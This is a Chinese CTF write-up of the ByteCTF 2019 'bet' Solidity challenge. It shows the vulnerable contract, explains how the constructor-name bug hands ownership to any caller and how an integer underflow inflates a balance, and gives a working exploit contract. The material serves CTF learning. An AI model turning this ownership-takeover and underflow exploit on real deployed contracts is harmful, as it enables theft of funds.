bytectf 2019 bet

WP

源码:

pragma solidity ^0.4.24;

contract bet {
    uint secret;
    address owner;
    
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    mapping(address => uint) public isbet;
    
    event SendFlag(string b64email);
    
    function Bet() public{
        owner = msg.sender;
    }
    
    function payforflag(string b64email) public {
        require(balanceOf[msg.sender] >= 100000);
        balanceOf[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit SendFlag(b64email);
    }
    

    //to fuck
    
    modifier only_owner() {
        require(msg.sender == owner);
        _;
    }
    
    function setsecret(uint secretrcv) only_owner {
        secret=secretrcv;
    }
    
    function deposit() payable{
        uint geteth=msg.value/1000000000000000000;
        balanceOf[msg.sender]+=geteth;
    }
    
    function profit() {
        require(gift[msg.sender]==0);
        gift[msg.sender]=1;
        balanceOf[msg.sender]+=1;
    }
    
    function betgame(uint secretguess){
        require(balanceOf[msg.sender]>0);
        balanceOf[msg.sender]-=1;
        if (secretguess==secret)
        {
            balanceOf[msg.sender]+=2;
            isbet[msg.sender]=1;
        }
    }
    
    function doublebetgame(uint secretguess) only_owner{
        require(balanceOf[msg.sender]-2>0);
        require(isbet[msg.sender]==1);
        balanceOf[msg.sender]-=2;
        if (secretguess==secret)
        {
            balanceOf[msg.sender]+=2;
        }
    }

}

和hf那题差不多,还是大致审一下,首先是Bet函数,可以设owner为我们自己。

    function Bet() public{
        owner = msg.sender;
    }

因此最后的被only_owner修饰的doublebetgame就可以用了。
而且doublebetgame存在问题:require(balanceOf[msg.sender]-2>0);只要msg.sender不是2就恒成立。因此后面的balanceOf[msg.sender]-=2;存在下溢出。但是利用的前提是require(isbet[msg.sender]==1);isbet的设置是在betgame函数中,需要余额大于0而且输入的secretguess和真的secret相等。前面的profit函数可以获得1块钱,而setsecret函数则可以设置secret,因此至此也就理清楚了。

写个EXP:

pragma solidity ^0.4.24;

interface bet{

    function Bet() external;
    function payforflag() external;
    function setsecret(uint secretrcv)external;
    function deposit() payable external;
    
    function profit() external;
    
    function betgame(uint secretguess) external;
    
    function doublebetgame(uint secretguess) external;
}

contract attack{
    bet constant private target = bet(0x9280780d85577027AB8754e329D6E5Bf267007E6);
    function startAttack() public {
        target.Bet();
        target.setsecret(123);
        target.profit();
        target.betgame(123);
        target.betgame(1);
        target.doublebetgame(1);
        // payforflag
    }
}

因此是本地复现,最后就没有执行payforflag了。
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值